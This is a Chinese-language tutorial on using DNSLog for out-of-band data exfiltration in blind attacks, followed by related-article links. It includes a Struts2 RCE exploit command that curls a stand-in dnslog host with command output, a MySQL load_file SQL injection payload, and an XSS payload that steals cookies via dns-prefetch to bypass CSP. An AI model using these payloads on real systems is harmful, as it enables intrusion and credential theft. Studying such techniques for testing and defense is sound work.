DNSLog使用方法及場景分析
DNSLOG的原理
DNS的解析是遞歸與迭代相結(jié)合的,下面給出了當(dāng)我們訪問www.cloudcrowd.com.cn時,DNS的解析過程示意圖。
其中,紅色部分是可控的。我們只需要搭建一個紅色部分的DNS服務(wù)器,并將要盲打或盲注的回顯,放到自己域名的二級甚至三級域名上去請求,就可以通過DNS解析日志來獲取到它們。
DNSLOG工具
如果有自己的服務(wù)器和域名,可以自建一個這樣的平臺,直接使用BugScan團(tuán)隊(duì)開源的工具搭建即可:
https://github.com/BugScanTeam/DNSLog。
另外我們也可以使用在線平臺:
場景一:命令盲注回顯
針對不回顯的命令注入漏洞,我們很難確定漏洞的存在并進(jìn)一步利用,如17年9月爆發(fā)的Struts2-052反序列化命令執(zhí)行漏洞是看不到任何回顯的,針對這種情況,我們可以利用DNSLOG來獲取命令的執(zhí)行結(jié)果。這里使用已有的EXP來完成漏洞利用,EXP地址為https://github.com/luc10/struts-rce-cve-2017-9805。
利用方式為go run main.go -u URL -c “command”。
Payload:
go run main.go -u http://www.exploit-target.com/struts2-rest-showcase/orders.xhtml -c 'curl "http://`whoami`.your-dnslog.com"'
根據(jù)語法規(guī)定,會先將雙引號中的whoami命令執(zhí)行并替換為結(jié)果,再執(zhí)行整個的curl命令??梢栽赪eb控制臺下看到結(jié)果:
可以看到本來看不到的whoami回顯root已經(jīng)被我們接收到了。為了防止內(nèi)容不適合作為域名的一部分,我們也可以base64編碼后再進(jìn)行請求。
場景二:SQL盲注回顯
不論是bool型盲注還是時間型盲注,都需要頻繁的跑請求才能夠獲取數(shù)據(jù)庫中的值,在現(xiàn)代WAF的防護(hù)下,很可能導(dǎo)致IP被ban。我們可以結(jié)合DNSLOG完美快速的將數(shù)據(jù)取出。如遇到MySql的盲注時,可以利用內(nèi)置函數(shù)load_file()來完成DNSLOG。load_file()不僅能夠加載本地文件,同時也能對諸如\www.test.com這樣的URL發(fā)起請求。
Payload: select load_file(concat(‘\\', user(), ‘.your-dnslog.com'));
可以在Web控制臺下看到結(jié)果:
用戶名已經(jīng)被發(fā)送到了我們的服務(wù)器上。
場景三: XSS繞過CSP
CSP(內(nèi)容安全策略)是防御XSS最有效的手段之一。當(dāng)我們發(fā)現(xiàn)一個網(wǎng)站有XSS漏洞,想利用XSS平臺來打Cookie時,CSP會通過白名單的方式,禁止跨域加載腳本,惡意代碼便會因此被阻擋在門外,導(dǎo)致此XSS無法利用。對此,我們可以使用DNS預(yù)解析突破CSP的阻攔。
DNS預(yù)解析(DNS Prefetching)是一種能夠加快網(wǎng)頁加載速度的技術(shù),對于跨站的鏈接,由于每次都要進(jìn)行一次DNS解析,會消耗掉很多時間。DNS預(yù)解析在瀏覽器空閑時,將跨站資源的域名轉(zhuǎn)化為IP 地址并緩存,真正請求資源時就避免了解析的時間。
有趣的是,DNS預(yù)解析是默認(rèn)開啟的,并且我們可以通過rel="dns-prefetch"來強(qiáng)制進(jìn)行DNS預(yù)解析。由于DNS預(yù)解析可以繞過CSP進(jìn)行解析,結(jié)合DNSLOG,我們即可竊取在CSP保護(hù)下的Cookie。
Payload:document.querySelector('body').innerHTML += "<link rel='dns-prefetch' href='" + window.btoa(document.cookie.split(/;|=/)[1]) + ".your-dnslog.com'>"
上面的Payload將Cookie中截取的重要字段進(jìn)行簡單的base64編碼后,作為我們DNSLOG平臺的二級域名,并在body中插入了相應(yīng)的link標(biāo)簽對此域名進(jìn)行強(qiáng)制DNS預(yù)解析。當(dāng)觸發(fā)XSS攻擊時,可以在Web控制臺下看到結(jié)果:
直接對R0ExLjIuMTY0MjI2NDMxNi4xNTMyNTc0NTg3解碼即可得到Cookie。當(dāng)然,這種方法的利用條件極為苛刻。首先,作為XSS攻擊,此Payload過長,而使用短連接加載外部腳本則又會回到被CSP限制的原點(diǎn);其次,根據(jù)DNS的規(guī)定,域名的長度是有限制的,有時可能無法將長Cookie完全帶出。·本文僅分享一個拋磚引玉的思路,進(jìn)一步的利用方式還有待開發(fā)。
結(jié)語
除了上面詳細(xì)列出的例子之外,DNSLOG還可以利用在諸如Blind XXE和Blind SSRF之類的漏洞上,原理其實(shí)和命令盲注是一樣的,在此不做詳述。有興趣的讀者可以自行探索與驗(yàn)證。
到此這篇關(guān)于DNSLog使用方法的文章就介紹到這了,更多相關(guān)DNSLog使用方法內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Windows?Server?2019?DNS服務(wù)器的配置與管理(理論篇)
這篇文章主要介紹了DNS(Domain?Name?System)域名系統(tǒng),主要就是??實(shí)現(xiàn)域名與IP地址的相互轉(zhuǎn)換,需要的朋友可以學(xué)習(xí)下2023-05-05Windows Server 2019 DNS服務(wù)器的配置與管理之DNS子域委派
這篇文章主要介紹了Windows Server 2019 DNS服務(wù)器的配置與管理之DNS子域委派,需要的朋友可以參考下2023-05-05Windows?Server?2019?DNS服務(wù)器的配置與管理之DNS正向解析
這篇文章主要介紹了Windows?Server?2019?DNS服務(wù)器的配置與管理之DNS正向解析,需要的朋友可以參考下2023-05-05Windows?Server?2008?R2?搭建域及DNS環(huán)境
這篇文章主要介紹了Windows?Server?2008?R2?搭建域及DNS環(huán)境,需要的朋友可以參考下2023-05-05DNS服務(wù)器中創(chuàng)建正向查找區(qū)域并在該區(qū)域下創(chuàng)建主機(jī)記錄
創(chuàng)建正向查找區(qū)域ynkm.com,并在該區(qū)域下創(chuàng)建主機(jī)記錄Webserver,ynkm.com,具體操作步驟如下,需要的朋友可以了解下2013-12-12